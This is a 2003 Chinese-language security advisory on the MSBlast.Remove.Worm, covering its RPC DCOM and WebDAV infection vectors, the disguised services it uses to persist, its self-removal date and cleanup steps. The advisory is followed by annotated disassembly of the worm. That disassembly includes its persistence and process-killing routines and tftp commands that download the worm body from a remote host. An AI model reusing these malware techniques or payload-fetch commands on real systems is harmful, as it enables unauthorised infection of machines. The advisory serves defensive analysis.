xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

MSBlast.Remove.Worm/W32安全通告


创建时间:2003-08-19 更新时间:2003-08-19
文章属性:原创
文章来源:启明星辰积极防御实验室(http://www.venustech.com.cn)
文章提交:xundi (xundi_at_xfocus.org)

蠕虫发现日期:2003年8月18日

紧急程度:高

危害程度:中

公告属性:2003-8-19  03:00

蠕虫概述:
-------------------

此蠕虫利用Windows RPC DCOM漏洞(MS03-026)及Windows IIS WEBDAV(MS03-07)作为感染攻击手段,并通过tftp(udp69简单文件传输协议)下载病毒体到被感染机器中。该MSBlast.Remove.Worm/W32蠕虫病毒不在被感染系统留下后门,也不会进行有目的的拒绝服务攻击。其感染目的是清除MSBlast.Worm/W32病毒体及分别为Win2000、Win XP的韩文系统、繁体中文系统、简体中文系统、英文系统下载和安装Windows RPC DCOM(MS03-26)安全补丁。但该蠕虫大量的向外连接包将造成严重的带宽消耗。
蠕虫技术细节描述:
--------------------------

蠕虫定义名称:

MSBlast.Remove.Worm/W32

感染途径:

病毒体初始化前为了避免蠕虫多次感染运行,会检查或者建立一个互斥量并命将其名为"RpcPatch_Mutex"蠕虫体被运行后,蠕虫会在%System%\wins文件夹中复制一个蠕虫体拷贝,然后蠕虫会新建一个服务,服务名为 "RpcPatch", 显示名称为 "WINS Client",服务启动属性为自动运行。

(注意:系统里存在一个正常的DLLHOST.EXE文件但大小只有6KB,而该蠕虫体的大小为10KB)

接下来蠕虫会把TFTPD.EXE拷贝到%System%\Wins目录下面取名为SVCHOST.EXE,建立一个服务,服务名称为"RpcTftpd",显示名称为 "Network Connections Sharing",服务启动属性为自动运行。

当系统重新启动的时候,以上两个服务启动触发蠕虫病毒运行。该蠕虫以系统服务形式启动这是与MSBlast病毒所使用的注册表RUN键值启动所不同的。

蠕虫会绑定一个由随机数除以100并把余数加上666的最终值作为提供感染源连接发送病毒体文件操作命令的端口,建立独立线程(分析中发现多次出现TCP 707端口)。当检测到dllhost.exe、tftpd.exe字符串的时候该端口关闭。

蠕虫特点:

1, 杀除其它MSBLAST蠕虫
这个蠕虫一个重要特点,它会在系统中寻找其它MSBlast蠕虫的进程,如果找到就会把MSBlast的进程停掉,Sleep5秒后查找系统目录下是否有MSblast病毒体,如果发现立即删除。

2,    下载补丁
蠕虫会查询判断是Windows2000或WindowsXP再判断系统的语言版本。自动打补丁的系统范围为,韩文系统、繁体中文系统、简体中文系统、英文系统。然后从微软网站上下载相应的的RPC DCOM(MS03-26)的补丁程序并且安装。

3,    会删除自身
蠕虫会在删除完MSBlast后开始检查系统时间。当系统设置的年份为2004年时,把自己从系统中删除掉。也对应了这个作者在代码中的一句留言"Notice: 2004 will remove myself:-)"

清除方法:

1.    由于该病毒的自清除属性。您可以修改系统时间年份至2004年,并重新启动系统。安装漏洞补丁后再矫正系统时间。

2.    如果您的系统运行着重要应用服务,并不希望改动系统时间。您可以到启明星辰网站下载运行积极防御实验室针对此蠕虫紧急编写的MSBlast.Remove.Worm本地(远程)查杀工具。
3.    迅速至微软网站下载并安装针Windows2000 SP4补丁及针对对该Windows RPC DCOM(MS03-26)漏洞的相应补丁。

下面是启明星辰积极防御实验室对MSBlast.Remove.Worm/W32代码分析的截取:

date:2003-08-19
======================================================================
程序初始化前,先检测系统中是否己有蠕虫在运行
seg000:004027B0 sub_4027B0      proc near               ; CODE XREF: sub_4011C0+6p
seg000:004027B0                 push    offset aRpcpatch_mutex ; lpName
seg000:004027B5                 push    0               ; bInitialOwner
seg000:004027B7                 push    0               ; lpMutexAttributes
seg000:004027B9                 call    ds:CreateMutexA        建立互斥量,名称为 "RpcPatch_Mutex"
seg000:004027BF                 test    eax, eax
seg000:004027C1                 jz      short loc_4027D3    如果建立成功,证明当前系统中没有运行蠕虫,返回TRUE
seg000:004027C3                 call    ds:GetLastError        如果建立失败,则判断错误值是否为该互斥量己经建立,返回FALSE
seg000:004027C9                 cmp     eax, 0B7h        
seg000:004027CE                 jz      short loc_4027D3
seg000:004027D0                 xor     eax, eax        返回FALSE
seg000:004027D2                 retn
seg000:004027D3
seg000:004027D3 loc_4027D3:                             ; CODE XREF: sub_4027B0+11j
seg000:004027D3                                         ; sub_4027B0+1Ej
seg000:004027D3                 mov     eax, 1            返回TRUE
seg000:004027D8                 retn
seg000:004027D8 sub_4027B0      endp


对系统服务的操作:
seg000:00402730 sub_402730      proc near               ; CODE XREF: sub_4011C0+1Fp
seg000:00402730
seg000:00402730 ServiceStatus   = _SERVICE_STATUS ptr -1Ch
seg000:00402730
seg000:00402730                 sub     esp, 1Ch
seg000:00402733                 push    esi
seg000:00402734                 push    edi
seg000:00402735                 push    80000000h       ; dwDesiredAccess
seg000:0040273A                 push    0               ; lpDatabaseName
seg000:0040273C                 push    0               ; lpMachineName
seg000:0040273E                 call    ds:OpenSCManagerA ; Establish a connection to the service
seg000:0040273E                                         ; control manager on the specified computer
seg000:0040273E                                         ; and opens the specified database
seg000:00402744                 mov     edi, eax
seg000:00402746                 test    edi, edi    
seg000:00402748                 jnz     short loc_402755        打开服务控制管理器
seg000:0040274A                 pop     edi
seg000:0040274B                 mov     eax, 11111111h            如果失败则返回 0x11111111
seg000:00402750                 pop     esi
seg000:00402751                 add     esp, 1Ch
seg000:00402754                 retn
seg000:00402755 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
seg000:00402755
seg000:00402755 loc_402755:                             ; CODE XREF: sub_402730+18j
seg000:00402755                 push    0F01FFh         ; dwDesiredAccess
seg000:0040275A                 push    offset aRpcpatch ; lpServiceName
seg000:0040275F                 push    edi             ; hSCManager
seg000:00402760                 call    ds:OpenServiceA            打开名为"RpcPatch"的服务
seg000:00402766                 mov     esi, eax
seg000:00402768                 test    esi, esi
seg000:0040276A                 jnz     short loc_402777        如果打开失败则返回0x22222222
seg000:0040276C                 pop     edi
seg000:0040276D                 mov     eax, 22222222h
seg000:00402772                 pop     esi
seg000:00402773                 add     esp, 1Ch
seg000:00402776                 retn
seg000:00402777 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
seg000:00402777
seg000:00402777 loc_402777:                             ; CODE XREF: sub_402730+3Aj
seg000:00402777                 lea     eax, [esp+24h+ServiceStatus]
seg000:0040277B                 push    eax             ; lpServiceStatus
seg000:0040277C                 push    esi             ; hService
seg000:0040277D                 call    ds:QueryServiceStatus        取得服务名为"RpcPatch"的服务信息
seg000:00402783                 test    eax, eax
seg000:00402785                 push    esi             ; hSCObject
seg000:00402786                 mov     esi, ds:CloseServiceHandle
seg000:0040278C                 jnz     short loc_40279E
seg000:0040278E                 call    esi ; CloseServiceHandle
seg000:00402790                 push    edi             ; hSCObject
seg000:00402791                 call    esi ; CloseServiceHandle
seg000:00402793                 pop     edi
seg000:00402794                 mov     eax, 33333333h
seg000:00402799                 pop     esi
seg000:0040279A                 add     esp, 1Ch
seg000:0040279D                 retn                    ; hSCObject
seg000:0040279E ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
seg000:0040279E
seg000:0040279E loc_40279E:                             ; CODE XREF: sub_402730+5Cj
seg000:0040279E                 call    esi ; CloseServiceHandle
seg000:004027A0                 push    edi             ; hSCObject
seg000:004027A1                 call    esi ; CloseServiceHandle
seg000:004027A3                 mov     eax, [esp+24h+ServiceStatus.dwCurrentState]
seg000:004027A7                 pop     edi
seg000:004027A8                 pop     esi
seg000:004027A9                 add     esp, 1Ch
seg000:004027AC                 retn
seg000:004027AC sub_402730      endp


复制文件与建立服务
seg000:004015E0 NewFileName     = byte ptr -208h
seg000:004015E0 ExistingFileName= byte ptr -104h
seg000:004015E0
seg000:004015E0                 sub     esp, 208h
seg000:004015E6                 lea     eax, [esp+208h+ExistingFileName]
seg000:004015ED                 push    esi
seg000:004015EE                 mov     esi, ds:sprintf
seg000:004015F4                 push    offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
seg000:004015F9                 push    offset aSDllcacheTftpd ; "%s\\dllcache\\tftpd.exe"
seg000:004015FE                 push    eax
seg000:004015FF                 call    esi ; sprintf                        生成字符串 "C:\\WINDOWS\\System32\\\\dllcache\\tftpd.exe"
seg000:00401601                 add     esp, 0Ch
seg000:00401604                 lea     ecx, [esp+20Ch+NewFileName]
seg000:00401608                 push    offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
seg000:0040160D                 push    offset aSWinsSvchost_e ; "%s\\wins\\svchost.exe"    生成字符串 "C:\\WINDOWS\\System32\\wins\\svchost.exe"
seg000:00401612                 push    ecx
seg000:00401613                 call    esi ; sprintf
seg000:00401615                 add     esp, 0Ch
seg000:00401618                 lea     edx, [esp+20Ch+NewFileName]
seg000:0040161C                 lea     eax, [esp+20Ch+ExistingFileName]
seg000:00401623                 push    0               ; bFailIfExists
seg000:00401625                 push    edx             ; lpNewFileName
seg000:00401626                 push    eax             ; lpExistingFileName
seg000:00401627                 call    ds:CopyFileA                        复制文件,把戏C:\\WINDOWS\\System32\\\\dllcache\\tftpd.exe 复制到 C:\\WINDOWS\\System32\\wins\\svchost.exe            
seg000:0040162D                 push    offset aMsdtc   ; int
seg000:00401632                 push    offset aSvchost_exe ; int
seg000:00401637                 push    offset aNetworkConnect ; lpDisplayName
seg000:0040163C                 push    offset aRpctftpd ; lpServiceName
seg000:00401641                 call    sub_4023E0                        建立一个服务,服务名称为"RpcTftpd",显示名称为 "Network Connections Sharing"
seg000:00401646                 add     esp, 10h
seg000:00401649                 pop     esi
seg000:0040164A                 add     esp, 208h
seg000:00401650                 retn
seg000:00401650 sub_4015E0      endp



复制自己并新建一个自启动的服务
seg000:00401660
seg000:00401660 NewFileName     = byte ptr -20Ch
seg000:00401660 ExistingFileName= byte ptr -108h
seg000:00401660
seg000:00401660                 sub     esp, 20Ch
seg000:00401666                 lea     eax, [esp+20Ch+ExistingFileName]
seg000:0040166D                 push    104h            ; nSize
seg000:00401672                 push    eax             ; lpFilename
seg000:00401673                 push    0               ; hModule
seg000:00401675                 call    ds:GetModuleFileNameA                    得到自身的文件名
seg000:0040167B                 push    offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
seg000:00401680                 lea     ecx, [esp+210h+NewFileName]
seg000:00401684                 push    offset aSWinsDllhost_e ; "%s\\wins\\DLLHOST.EXE"
seg000:00401689                 push    ecx
seg000:0040168A                 call    ds:sprintf                        创建被复制到的路径: C:\\WINDOWS\\System32\\wins\\DLLHOST.EXE
seg000:00401690                 add     esp, 0Ch
seg000:00401693                 lea     edx, [esp+20Ch+NewFileName]
seg000:00401697                 lea     eax, [esp+20Ch+ExistingFileName]
seg000:0040169E                 push    0               ; bFailIfExists
seg000:004016A0                 push    edx             ; lpNewFileName
seg000:004016A1                 push    eax             ; lpExistingFileName
seg000:004016A2                 call    ds:CopyFileA                        将自身复制为 C:\\WINDOWS\\System32\\wins\\DLLHOST.EXE
seg000:004016A8                 push    offset aBrowser ; int
seg000:004016AD                 push    offset aDllhost_exe ; int
seg000:004016B2                 push    offset aWinsClient ; lpDisplayName
seg000:004016B7                 push    offset aRpcpatch ; lpServiceName
seg000:004016BC                 call    sub_4023E0                        新建一个自动启动的服务,服务名为 "RpcPatch", 显示名称为 "WINS Client"
seg000:004016C1                 add     esp, 21Ch
seg000:004016C7                 retn
seg000:004016C7 sub_401660      endp



查杀 "msblast"蠕虫
seg000:00402A08                 push    offset aMsblast ; "msblast"
seg000:00402A0D                 call    sub_401000                    查找当前系统运行的进程中有没有
                                            进程名为"msblast"的进程,如果有的话,就返回该进程的进程ID
seg000:00402A12                 add     esp, 4
seg000:00402A15                 test    eax, eax
seg000:00402A17                 jz      short loc_402A48
seg000:00402A19                 push    eax             ; dwProcessId
seg000:00402A1A                 push    0               ; bInheritHandle
seg000:00402A1C                 push    1F0FFFh         ; dwDesiredAccess
seg000:00402A21                 call    ds:OpenProcess                    如果查找到msblast进程,就打开这个进程
seg000:00402A27                 mov     esi, eax
seg000:00402A29                 test    esi, esi
seg000:00402A2B                 jz      short loc_402A48
seg000:00402A2D                 push    1               ; uExitCode
seg000:00402A2F                 push    esi             ; hProcess
seg000:00402A30                 call    ds:TerminateProcess                然后终止这个进程
seg000:00402A36                 push    1388h           ; dwMilliseconds        Sleep 5秒钟
seg000:00402A3B                 call    ds:Sleep
                                            ...以下代码是检查WINDOWS系统目录下有没有msblast.exe这个程序,
                                            如果有的话,就删除这个程序

先杀掉msblast蠕虫,然后判断当前时间是否为2004年,如果是2004年,就完全清除本蠕虫
seg000:0040129E                 call    sub_402A00                    先杀掉msblast蠕虫                
seg000:004012A3                 lea     ecx, [esp+1A4h+SystemTime]
seg000:004012A7                 push    ecx             ; lpSystemTime
seg000:004012A8                 call    ds:GetLocalTime                    取得当前时间
seg000:004012AE                 cmp     [esp+1A4h+SystemTime.wYear], 7D4h        现在是不是2004年?
seg000:004012B5                 jnz     short loc_4012DB                如果是的话,就完全清除自己
seg000:004012B7                 push    offset aRpcpatch ; lpServiceName
seg000:004012BC                 call    sub_402F00                    清除原先加的服务
seg000:004012C1                 push    offset aRpctftpd ; lpServiceName
seg000:004012C6                 call    sub_402F00    
seg000:004012CB                 add     esp, 8
seg000:004012CE                 call    sub_402970                    删除自身
seg000:004012D3                 push    1               ; uExitCode
seg000:004012D5                 call    ds:ExitProcess                    退出    


如果现在不是2004年,就继续执行
seg000:00401325                 call    sub_401F30                    生成字符串,用于检测本机有没有WEBDAV漏洞
seg000:0040132A                 call    sub_402170                    生成RPC DCOM SHELLCODE
seg000:0040132F                 call    sub_401210                    生成TFTP 下载文件的命令,并初始化一些端口
                                            tftp -i 172.28.33.13 get dllhost.exe wins\DLLHOST.EXE
                                            tftp -i 172.28.33.13 get svchost.exe wins\SVCHOST.EXE
seg000:00401334                 call    sub_401780                    
seg000:00401339                 lea     edx, [esp+1B4h+ThreadId]
seg000:0040133D                 push    edx             ; lpThreadId
seg000:0040133E                 push    0               ; dwCreationFlags
seg000:00401340                 push    0               ; lpParameter
seg000:00401342                 push    offset sub_401990 ; lpStartAddress        监听和发送数据包线程
seg000:00401347                 push    0               ; dwStackSize
seg000:00401349                 push    0               ; lpThreadAttributes
seg000:0040134B                 call    ds:CreateThread                    启动线程

数据包收发线程
seg000:004019C1                 call    ds:rand                        生成一随机数
seg000:004019C7                 cdq        
seg000:004019C8                 mov     ecx, 64h
seg000:004019CD                 mov     ebx, ds:htons
seg000:004019D3                 idiv    ecx                        随机数除以 100
seg000:004019D5                 mov     ebp, ds:bind
seg000:004019DB                 add     edx, 29Ah                    余数加上666
seg000:004019E1                 xor     esi, esi
seg000:004019E3
seg000:004019E3 loc_4019E3:                             ; CODE XREF: sub_401990+8Fj
seg000:004019E3                 add     dx, si
seg000:004019E6                 xor     eax, eax
seg000:004019E8                 mov     al, dh
seg000:004019EA                 mov     ds:hostshort, dx
seg000:004019F1                 cmp     al, 0C5h
seg000:004019F3                 jz      short loc_401A18
seg000:004019F5                 cmp     dl, 0C5h
seg000:004019F8                 jz      short loc_401A18
seg000:004019FA                 push    edx             ; hostshort            作为监听端口
seg000:004019FB                 call    ebx ; htons
seg000:004019FD                 lea     ecx, [esp+38h+name]
seg000:00401A01                 push    10h             ; namelen
seg000:00401A03                 push    ecx             ; name
seg000:00401A04                 push    edi             ; s
seg000:00401A05                 mov     word ptr [esp+44h+name.sa_data], ax
seg000:00401A0A                 call    ebp ; bind                    绑定这个端口
                                            以下代码为开始监听这个端口并新建立一个线程,处理数据的发送与接收

新建的收发数据的线程:
...
seg000:00401CD3                 push    3FFh            ; len                一次接收的数据最大长度:0x3FF
seg000:00401CD8                 push    edx             ; buf
seg000:00401CD9                 push    esi             ; s
seg000:00401CDA                 call    edi ; recv                    接收数据
seg000:00401CDC                 cmp     eax, 0FFFFFFFFh                    接收失败就退出
seg000:00401CDF                 jz      loc_401E54
seg000:00401CE5                 test    eax, eax
seg000:00401CE7                 jz      loc_401E54
seg000:00401CED                 mov     ebp, ds:strstr
seg000:00401CF3                 lea     eax, [esp+410h+buf]
seg000:00401CF7                 push    offset aMicrosoftWindo ; "Microsoft Windows"
seg000:00401CFC                 push    eax
seg000:00401CFD                 call    ebp ; strstr                    查找接收到的数据中有没有包含字符串:"Microsoft Windows"
seg000:00401CFF                 add     esp, 8
seg000:00401D02                 test    eax, eax    
seg000:00401D04                 jz      loc_401E54                    如果没有就退出
seg000:00401D0A                 lea     ecx, [esp+410h+buf]
seg000:00401D0E                 push    offset dword_4061BC
seg000:00401D13                 push    ecx
seg000:00401D14                 call    ebp ; strstr                    查找接收到的数据中有没有包含字符串:"system32>Timeout occurred"
seg000:00401D16                 add     esp, 8
seg000:00401D19                 test    eax, eax
seg000:00401D1B                 jnz     short loc_401D4D                如果没有就继续接收数据,直到接收到的数据有这个字符串为止
seg000:00401D1D
seg000:00401D1D loc_401D1D:                             ; CODE XREF: sub_401C80+CBj
seg000:00401D1D                 push    0               ; flags
seg000:00401D1F                 lea     edx, [esp+414h+buf]
seg000:00401D23                 push    3FFh            ; len
seg000:00401D28                 push    edx             ; buf
seg000:00401D29                 push    esi             ; s
seg000:00401D2A                 call    edi ; recv                    继续接收数据并比较
seg000:00401D2C                 cmp     eax, 0FFFFFFFFh
seg000:00401D2F                 jz      loc_401E54
seg000:00401D35                 mov     byte ptr [esp+eax+410h+buf], 0
seg000:00401D3A                 lea     eax, [esp+410h+buf]
seg000:00401D3E                 push    offset dword_4061BC
seg000:00401D43                 push    eax
seg000:00401D44                 call    ebp ; strstr
seg000:00401D46                 add     esp, 8
seg000:00401D49                 test    eax, eax
seg000:00401D4B                 jz      short loc_401D1D
seg000:00401D4D
seg000:00401D4D loc_401D4D:                             ; CODE XREF: sub_401C80+9Bj
seg000:00401D4D                 lea     ecx, [esp+410h+buf]
seg000:00401D51                 push    ecx             ; int
seg000:00401D52                 push    offset aDirWinsDllhost ; buf
seg000:00401D57                 push    esi             ; s
seg000:00401D58                 call    sub_401B10
seg000:00401D5D                 add     esp, 0Ch
seg000:00401D60                 test    eax, eax
seg000:00401D62                 jz      loc_401E54
seg000:00401D68                 lea     edx, [esp+410h+buf]
seg000:00401D6C                 push    offset aDllhost_exe ; "DLLHOST.EXE"        
seg000:00401D71                 push    edx
seg000:00401D72                 call    ebp ; strstr                    检测字符串中是否有 "DLLHOST.EXE"
seg000:00401D74                 add     esp, 8                        
seg000:00401D77                 test    eax, eax                    如果有就退出
seg000:00401D79                 jnz     loc_401E54
seg000:00401D7F                 lea     eax, [esp+410h+buf]
seg000:00401D83                 push    offset aDllhost_exe_0 ; "dllhost.exe"        
seg000:00401D88                 push    eax
seg000:00401D89                 call    ebp ; strstr                    检测字符串中是否有 "dllhost.exe"
seg000:00401D8B                 add     esp, 8
seg000:00401D8E                 test    eax, eax                    如果有就退出
seg000:00401D90                 jnz     loc_401E54
seg000:00401D96                 lea     ecx, [esp+410h+buf]
seg000:00401D9A                 push    ecx             ; int
seg000:00401D9B                 push    offset aDirDllcacheTft ; buf
seg000:00401DA0                 push    esi             ; s
seg000:00401DA1                 call    sub_401B10
seg000:00401DA6                 add     esp, 0Ch
seg000:00401DA9                 test    eax, eax
seg000:00401DAB                 jz      loc_401E54
seg000:00401DB1                 lea     edx, [esp+410h+buf]
seg000:00401DB5                 push    offset aTftpd_exe_0 ; "tftpd.exe"        
seg000:00401DBA                 push    edx
seg000:00401DBB                 call    ebp ; strstr                    检测字符串中是否有 "tftpd.exe"
seg000:00401DBD                 add     esp, 8
seg000:00401DC0                 test    eax, eax                    如果有就退出
seg000:00401DC2                 jnz     short loc_401DF0
seg000:00401DC4                 lea     eax, [esp+410h+buf]
seg000:00401DC8                 push    offset aTftpd_exe ; "TFTPD.EXE"            检测字符串中是否有 "TFTPD.EXE"
seg000:00401DCD                 push    eax
seg000:00401DCE                 call    ebp ; strstr                    如果有就退出
seg000:00401DD0                 add     esp, 8
seg000:00401DD3                 test    eax, eax
seg000:00401DD5                 jnz     short loc_401DF0
seg000:00401DD7                 lea     ecx, [esp+410h+buf]
seg000:00401DDB                 push    ecx             ; int
seg000:00401DDC                 push    offset aTftpI172_28__0 ; buf
seg000:00401DE1                 push    esi             ; s
seg000:00401DE2                 call    sub_401B90                    以下代码为下载dllhost.exe,svchost.exe到系统目录

...

(另注启明星辰天阗入侵检测用户可以到www.venustech.com.cn下载最新天阗升级库。)